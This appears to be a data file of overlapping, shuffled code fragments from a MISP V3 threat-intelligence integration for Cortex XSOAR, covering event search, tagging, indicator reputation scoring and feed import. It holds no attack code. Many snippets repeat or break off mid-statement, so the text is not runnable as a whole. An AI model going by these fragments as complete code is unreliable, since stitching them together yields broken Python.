attributes_limit)) return command_results\",\n \"in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'),\",\n \"args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'):\",\n \"build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True) try: uri_list =\",\n \"Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids should be\",\n \"UUID belongs to an attribute (True) or event (False). \\\"\\\"\\\" uuid = demisto_args.get('uuid')\",\n \"{tag} has been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',\",\n \"is part of the event scope). If the data is attribute's (is_event_level =\",\n \"\\\"\\\"\\\" attributes_args = { 'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'),\",\n \"attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] =\",\n \"event object, meaning the tags are event's ones. Otherwise, the data is attribute's\",\n \"reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else:\",\n \"0: raise DemistoException(f\\\"Tag id has to be a positive integer, please change the\",\n \"for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event)\",\n \"'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id',\",\n \"url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if\",\n \"} MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id':\",\n \"related attributes only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if\",\n \"= json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args)\",\n \"attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag\",\n \"1 if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] =\",\n \"demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids':\",\n \"'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args))\",\n \"MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution =\",\n \"args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score')\",\n \"for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for\",\n \"\\\"\\\"\\\"Creating event in MISP with the given attribute args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args) new_event\",\n \"event, depends on the called function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name':\",\n \"if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value\",\n \"is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters')\",\n \"def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the indicator score by following\",\n \"scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = []\",\n \"True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'),\",\n \"returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] =\",\n \"'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url':\",\n \"= parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match found\",\n \"[1,2,3]. Otherwise, the threat level is 4 = Unknown. note: - In case\",\n \"contains any of the complex operators the original input will be returned Returns:\",\n \"misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search\",\n \"[event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event\",\n \"tableToMarkdown( f\\\"MISP search-events returned {len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return CommandResults( raw_response=response, readable_output=md,\",\n \"change the given: '{tag}' id.\\\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type\",\n \"'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored\",\n \"match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and,\",\n \"build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents.\",\n \"ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def\",\n \"if dbot_type == \\\"FILE\\\": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score,\",\n \"suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise\",\n \"attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids =\",\n \"exist.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been\",\n \"successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response )\",\n \"sure the API key is correct.') return_error(error) def warn(*args): \\\"\\\"\\\" Do nothing with\",\n \"ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args\",\n \"as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint',\",\n \"in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP V3]: args for {demisto.command()}\",\n \"is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not,\",\n \"return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL\",\n \"-> GenericObjectGenerator: \\\"\\\"\\\" Args: template_name: template name as described in https://github.com/MISP/misp-objects args: arguments\",\n \"if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid\",\n \"def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\" Args: template_name: template name as\",\n \"related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event',\",\n \"'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object',\",\n \"include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs,\",\n \"and limits the tags and galaxies lists. Eventually, the outputs will be a\",\n \"id. In such case, the score will be BAD if the threat level\",\n \"that was configured to be malicious is stronger than recognised as suspicious). \\\"\\\"\\\"\",\n \"ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args =\",\n \"exist\\\" else: pagination_message += f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-attributes returned\",\n \"demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not None:\",\n \"in error: return_error('Unable to connect to MISP because of a NewConnectionError, ' 'Please\",\n \"not found in MISP. please check it once again\\\") new_event = response[0] #\",\n \"'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen',\",\n \"= demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if not att_id:\",\n \"'{tag}' id.\\\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution\",\n \"'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif\",\n \"dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match found in MISP\\\") indicator = get_dbot_indicator(dbot_type,\",\n \"value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict):\",\n \"found_related_events = {} if not attributes_list: return None for attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\")\",\n \"score will be BAD if the threat level id is in [1,2,3]. Otherwise,\",\n \"== 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations')\",\n \"{event_id} has been successfully created.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event )\",\n \"reputation_value_list = argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value,\",\n \"`{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\\\"Removing the required tag was failed. Please\",\n \"build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object\",\n \"id that exists in both sets, it will be removed from the suspicious\",\n \"str, obj: MISPObject): \\\"\\\"\\\"Sending object to MISP and returning outputs Args: obj: object\",\n \"can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\"\",\n \"threat level is 4 = Unknown. note: - In case the same tag\",\n \"attribute tags ones as it is part of the event scope). If the\",\n \"ID of event \\\"\\\"\\\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise\",\n \"the operators is optional. if 'demisto_query' does not contains any of the complex\",\n \"sub-functions calculated the score of the indicator. For the context data outputs, for\",\n \"f'Object has been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',\",\n \"'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event\",\n \"except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in\",\n \"'FILE': # hashFormat will be used only in output hash_format = get_hash_type(value) if\",\n \"outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is not a\",\n \"if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag,\",\n \"parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command\",\n \"CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error was occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test\",\n \"{event_id} was not found in MISP. please check it once again\\\") new_event =\",\n \"the attributes amount, we sort the attributes list by the event ids as\",\n \"return command_results def reputation_value_validation(value, dbot_type): if dbot_type == 'FILE': # hashFormat will be\",\n \"= object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') == found_tag: event_id =\",\n \"regexFlags).match(value): raise DemistoException(f\\\"Error: The given email address: {value} is not valid\\\") def get_indicator_results(value,\",\n \"input will be returned Returns: str: dictionary created for misp to perform complex\",\n \"As tag list can be full of in unnecessary data, we want to\",\n \"is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator,\",\n \"\\\"\\\"\\\" return [{k: v} for k, v in args.items()] def build_generic_object(template_name: str, args:\",\n \"r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and,\",\n \"'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids,\",\n \"return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After getting all the\",\n \"= demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in\",\n \"decoded, may not a valid JSON\\\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_',\",\n \"update attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute)\",\n \"[] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects =\",\n \"= demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips =\",\n \"str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i\",\n \"V3]: args for {demisto.command()} command are {args_to_misp_format}\\\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response],\",\n \"event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if\",\n \"'2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str,\",\n \"'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else\",\n \"error: return_error('Unable to connect to MISP because of a SSLCertVerificationError, ' 'Please try\",\n \"function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag\",\n \"MISP server url is correct.') if \\\"Please make sure the API key and\",\n \"tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag #\",\n \"of attributes' values that match the search query when user set the arg\",\n \"demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if not att_id: raise\",\n \"\\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags',\",\n \"Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace\",\n \"if arg in demisto_args} # Replacing keys and values from Demisto to Misp's\",\n \"be recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits\",\n \"one (as a tag that was configured to be malicious is stronger than\",\n \"return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page and page\",\n \"def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in\",\n \"return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command\",\n \"misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids,\",\n \"dbot score. The score is calculated by the tags ids (attribute tags and\",\n \"misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or\",\n \"found_tag_name = \\\"\\\", \\\"\\\" for event in events_to_human_readable: # removing those fields as\",\n \"an attribute we would like to add it to tag_set_ids. In any other\",\n \"IP address, email address, domain, url or file hash). dbot_type (str): Indicator type\",\n \"if key in events[i]} events[i]['RelatedEvent'] = [] # there is no need in\",\n \"to context data (array of attributes). score: the indicator score found_tag: the tag\",\n \"This function searches for all the events that have the tag (i.e found_tag)\",\n \"= is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or\",\n \"event_object.get('uuid'), 'description': event_object.get('description'), 'id': event_object.get('id') } for event_object in event['Object'] ] def build_tag_output(given_object):\",\n \"2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE\",\n \"malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable')\",\n \"added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def\",\n \"event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object\",\n \"information is too big. User can use the command search-attributes in order to\",\n \"{event_id} has not found in MISP: \\\\nError message: {response}') else: human_readable = f'Event\",\n \"{key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = []\",\n \"attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag\",\n \"raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No events found in MISP\",\n \"not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\\\"Error: An\",\n \"controller='attributes', value=value) human_readable = f\\\"## MISP add attribute\\\\nNew attribute: {value} was added to\",\n \"= {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i])\",\n \"20), \\\"attributes_limit\\\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args =\",\n \"if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations') == 'true' else 0\",\n \"attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))\",\n \"id is in [1,2,3]. Otherwise, the threat level is 4 = Unknown. note:\",\n \"\\\\'{sighting_type}\\\\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error\",\n \"template_name: template name as described in https://github.com/MISP/misp-objects args: arguments to create the generic\",\n \"the attributes amount to the given limit) and by sub-functions calculated the score\",\n \"too big. User can use the command search-attributes in order to get the\",\n \"= replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on\",\n \"args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in\",\n \"== 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute':\",\n \"MISP search using the 'event' controller. \\\"\\\"\\\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page',\",\n \"is set to 0 or not exists) it says that it is an\",\n \"FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a domain object to MISP\",\n \"return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__', 'builtins']: main()\",\n \"test_data/reputation_command_outputs.json \\\"\\\"\\\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None\",\n \"MISP because of a SSLCertVerificationError, ' 'Please try to use the Trust any\",\n \"'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation',\",\n \"PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\\\"## MISP add attribute\\\\nNew attribute: {value} was added\",\n \"or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search\",\n \"Key. Fill in a valid key in the integration configuration.') MISP_URL = params.get('url')\",\n \"if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if\",\n \"for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values\",\n \"we would like to add it to tag_set_ids. In any other case, we\",\n \"If so, the event will be added to related_events list Args: object_data_dict (dict):\",\n \"not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given email address: {value} is not valid\\\")\",\n \"by following logic. Indicators of attributes and Events that: * have tags which\",\n \"] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting\",\n \"demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids,\",\n \"as delimiter for operators. using the operators is optional. if 'demisto_query' does not\",\n \"\\\"\\\"\\\" output = [] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag\",\n \"= limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute,\",\n \"feed from url and publishing them to MISP urls with feeds for example:\",\n \"are {args_to_misp_format}\\\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \\\"\\\"\\\" Convert\",\n \"was scored as malicious or suspicious. event_name (str): Name of the event \\\"\\\"\\\"\",\n \"given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for\",\n \"'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published',\",\n \"reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability,\",\n \"command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command\",\n \"a field called inherited. When it is set to 1 it says that\",\n \"that it is an event's tag. Otherwise (if it is set to 0\",\n \"command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event':\",\n \"as the greater event ids are the newer ones. Returns: response (dict): The\",\n \"attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if\",\n \"tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0) #\",\n \"r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict() match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query,\",\n \"event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id =\",\n \"raise DemistoException(\\\"Adding the required tag was failed. Please make sure the UUID exists.\\\")\",\n \"str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if\",\n \"+ 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\" By the given\",\n \"and the event's attribute tags ones as it is part of the event\",\n \"0: raise DemistoException(\\\"page should be zero or a positive number\\\") if limit and\",\n \"ones. Otherwise, the data is attribute's (attribute tags). \\\"\\\"\\\" output = [] tag_set_ids\",\n \"attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event\",\n \"if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if\",\n \"data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type, dbot_score, value): if dbot_type == \\\"FILE\\\": hash_type = get_hash_type(value)\",\n \"str, args: List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\" Args: template_name: template name as described in\",\n \"match_and = re.search(regex_and, demisto_query, re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not,\",\n \"successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response\",\n \"url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query\",\n \"misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\", \\\"2\\\", \\\"3\\\"] for event in found_related_events.values():\",\n \"raise DemistoException(f\\\"Error: The given url: {value} is not valid\\\") if dbot_type == 'EMAIL':\",\n \"not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else\",\n \"url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment':\",\n \"attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))\",\n \"Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args = [ 'text', 'last_seen', 'first_seen' ] event_id =\",\n \"the event will be added to 